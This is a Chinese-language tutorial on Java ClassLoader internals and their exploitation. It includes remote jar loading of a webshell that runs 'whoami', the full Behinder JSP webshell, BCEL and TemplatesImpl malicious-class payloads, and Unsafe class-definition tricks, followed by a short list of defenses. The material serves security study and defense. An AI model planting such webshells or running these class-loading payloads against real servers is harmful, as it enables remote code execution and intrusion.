JAVA安全 | Classloader:理解与利用一篇就够了
字数 1593 2025-08-20 18:18:16

Java ClassLoader 深入理解与安全利用

前言

ClassLoader 是 Java 安全研究中基础且核心的部分。本文将全面讲解 ClassLoader 的工作原理、不同类型 ClassLoader 的特点,以及如何利用 ClassLoader 机制进行安全攻击和防御。

Java 类与 Class 文件基础

Java 源代码编译后会生成 .class 文件,这是 JVM 可执行的字节码文件。例如:

public class Heihu577 {
    public static void main(String[] args){
        System.out.println("Hello World");
    }
}

编译和执行过程:

javac Heihu577.java  // 生成 Heihu577.class
java Heihu577        // 执行 main 方法

查看字节码:

javap -c -p -l Heihu577.class

Java 类加载器体系

类加载器类型

Java 有三个核心类加载器:

  1. Bootstrap ClassLoader

    • 最顶层的加载器,加载核心类库(%JRE_HOME%/lib 下的 rt.jar、resources.jar 等)
    • 由 C/C++ 实现,Java 中无法直接引用,返回 null
    • 可通过 System.getProperty("sun.boot.class.path") 查看加载路径
  2. Extension ClassLoader (ExtClassLoader)

    • 加载 %JRE_HOME%/lib/ext 目录下的 jar 包
    • 可通过 System.getProperty("java.ext.dirs") 查看路径
    • 可使用 -Djava.ext.dirs 参数修改扫描路径
  3. Application ClassLoader (AppClassLoader)

    • 加载 CLASSPATH 下的类
    • 可通过 System.getProperty("java.class.path") 查看路径
    • 父加载器是 ExtClassLoader

双亲委派机制

类加载流程遵循双亲委派模式:

  1. 类加载器首先检查是否已加载该类
  2. 未加载则委托父加载器尝试加载
  3. 父加载器无法加载时,才由自己加载

优点

  • 防止核心类被篡改
  • 避免类重复加载

打破双亲委派

  • 重写 loadClass() 方法可打破双亲委派机制

URLClassLoader 详解

URLClassLoader 是 ExtClassLoader 和 AppClassLoader 的父类,可以从指定 URL 加载类和资源。

基本使用

File file = new File("D:/MyJarTest.jar");
URL[] urls = new URL[]{file.toURL()};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> clazz = urlClassLoader.loadClass("com.utils.SayHello");
Object o = clazz.newInstance();
Method hi = clazz.getMethod("hi");
hi.invoke(o);

远程加载 WebShell

URL[] urls = new URL[]{new URL("http://127.0.0.1:8000/MyJarTest.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(urls);
Class<?> clazz = urlClassLoader.loadClass("CMD");
Method method = clazz.getMethod("Exec", String.class);
String result = (String) method.invoke(null, "whoami");

自定义 ClassLoader

实现步骤

  1. 继承 ClassLoader 抽象类
  2. 重写 findClass() 方法
  3. findClass() 中调用 defineClass()

示例:

public class CustomClassLoader extends ClassLoader {
    private String baseUrl;
    
    @Override
    protected Class<?> findClass(String name) throws ClassNotFoundException {
        byte[] b = loadClassData(name);
        if (b == null) throw new ClassNotFoundException();
        return defineClass(name, b, 0, b.length);
    }
    
    private byte[] loadClassData(String name) {
        // 从文件系统加载类字节码
    }
}

类加密与解密

使用异或+Base64加密类文件:

public static byte[] Byte2Base64(byte[] data, int v) {
    // 异或加密后Base64
}

public static byte[] Base642Byte(byte[] base64, int v) {
    // Base64解码后异或解密
}

冰蝎 WebShell 分析

冰蝎 WebShell 核心逻辑:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader {
    U(ClassLoader c) { super(c); }
    public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
}
%>
<%
if (request.getMethod().equals("POST")) {
    String k = "e45e329feb5d925b";
    session.putValue("u", k);
    Cipher c = Cipher.getInstance("AES");
    c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
    new U(this.getClass().getClassLoader())
        .g(c.doFinal(new sun.misc.BASE64Decoder()
        .decodeBuffer(request.getReader().readLine())))
        .newInstance().equals(pageContext);
}
%>

BCEL ClassLoader 利用

基本使用

JavaClass javaclass = Repository.lookupClass(Calc.class);
String calcEncode = Utility.encode(javaclass.getBytes(), true);
String payload = "
$$
BCEL
$$
" + calcEncode;
Class<?> clazz = new ClassLoader().loadClass(payload);
clazz.newInstance(); // 触发静态代码块

代码审计利用点

当遇到 Class.forName(可控,true,可控) 时可能触发漏洞:

Class.forName(payload, true, 
    (ClassLoader) "".getClass()
        .forName("com.sun.org.apache.bcel.internal.util.ClassLoader")
        .newInstance());

Xalan ClassLoader (TemplatesImpl)

利用链分析

TemplatesImpl templates = new TemplatesImpl();
// 通过反射设置_bytecodes、_name、_tfactory等字段
templates.newTransformer(); // 触发恶意类加载

恶意类要求

必须继承 AbstractTranslet

public class Evil extends AbstractTranslet {
    static { /* 恶意代码 */ }
    public void transform(DOM document, SerializationHandler[] handlers) {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

Unsafe 类利用

获取 Unsafe 实例

// 方法1:反射构造方法
Constructor<?> c = Unsafe.class.getDeclaredConstructor();
c.setAccessible(true);
Unsafe unsafe = (Unsafe)c.newInstance();

// 方法2:反射theUnsafe字段
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe)f.get(null);

关键方法

  1. defineClass:
unsafe.defineClass("Evil", bytecode, 0, bytecode.length, 
    ClassLoader.getSystemClassLoader(), new ProtectionDomain(...));
  1. defineAnonymousClass:
Class<?> clazz = unsafe.defineAnonymousClass(Class.class, bytecode, null);
clazz.newInstance();
  1. allocateInstance:
// 绕过构造方法创建实例
Object obj = unsafe.allocateInstance(Evil.class);

防御措施

  1. 禁止不受信任的代码动态加载类
  2. 严格控制 ClassLoader 的使用权限
  3. 更新 JDK 版本(如 Java 8u251+ 移除 BCEL)
  4. 对反序列化操作进行严格过滤
  5. 使用 SecurityManager 限制敏感操作

总结

ClassLoader 机制是 Java 安全的核心基础,理解其工作原理对于安全研究和防御至关重要。从基本的类加载过程到高级的利用技巧,本文涵盖了 ClassLoader 的主要知识点和安全考虑。在实际应用中,应当谨慎使用动态类加载功能,并采取适当的安全措施防止恶意利用。

Java ClassLoader 深入理解与安全利用 前言 ClassLoader 是 Java 安全研究中基础且核心的部分。本文将全面讲解 ClassLoader 的工作原理、不同类型 ClassLoader 的特点,以及如何利用 ClassLoader 机制进行安全攻击和防御。 Java 类与 Class 文件基础 Java 源代码编译后会生成 .class 文件,这是 JVM 可执行的字节码文件。例如: 编译和执行过程: 查看字节码: Java 类加载器体系 类加载器类型 Java 有三个核心类加载器: Bootstrap ClassLoader : 最顶层的加载器,加载核心类库(%JRE_ HOME%/lib 下的 rt.jar、resources.jar 等) 由 C/C++ 实现,Java 中无法直接引用,返回 null 可通过 System.getProperty("sun.boot.class.path") 查看加载路径 Extension ClassLoader (ExtClassLoader) : 加载 %JRE_ HOME%/lib/ext 目录下的 jar 包 可通过 System.getProperty("java.ext.dirs") 查看路径 可使用 -Djava.ext.dirs 参数修改扫描路径 Application ClassLoader (AppClassLoader) : 加载 CLASSPATH 下的类 可通过 System.getProperty("java.class.path") 查看路径 父加载器是 ExtClassLoader 双亲委派机制 类加载流程遵循双亲委派模式: 类加载器首先检查是否已加载该类 未加载则委托父加载器尝试加载 父加载器无法加载时,才由自己加载 优点 : 防止核心类被篡改 避免类重复加载 打破双亲委派 : 重写 loadClass() 方法可打破双亲委派机制 URLClassLoader 详解 URLClassLoader 是 ExtClassLoader 和 AppClassLoader 的父类,可以从指定 URL 加载类和资源。 基本使用 远程加载 WebShell 自定义 ClassLoader 实现步骤 继承 ClassLoader 抽象类 重写 findClass() 方法 在 findClass() 中调用 defineClass() 示例: 类加密与解密 使用异或+Base64加密类文件: 冰蝎 WebShell 分析 冰蝎 WebShell 核心逻辑: BCEL ClassLoader 利用 基本使用 代码审计利用点 当遇到 Class.forName(可控,true,可控) 时可能触发漏洞: Xalan ClassLoader (TemplatesImpl) 利用链分析 恶意类要求 必须继承 AbstractTranslet : Unsafe 类利用 获取 Unsafe 实例 关键方法 defineClass : defineAnonymousClass : allocateInstance : 防御措施 禁止不受信任的代码动态加载类 严格控制 ClassLoader 的使用权限 更新 JDK 版本(如 Java 8u251+ 移除 BCEL) 对反序列化操作进行严格过滤 使用 SecurityManager 限制敏感操作 总结 ClassLoader 机制是 Java 安全的核心基础,理解其工作原理对于安全研究和防御至关重要。从基本的类加载过程到高级的利用技巧,本文涵盖了 ClassLoader 的主要知识点和安全考虑。在实际应用中,应当谨慎使用动态类加载功能,并采取适当的安全措施防止恶意利用。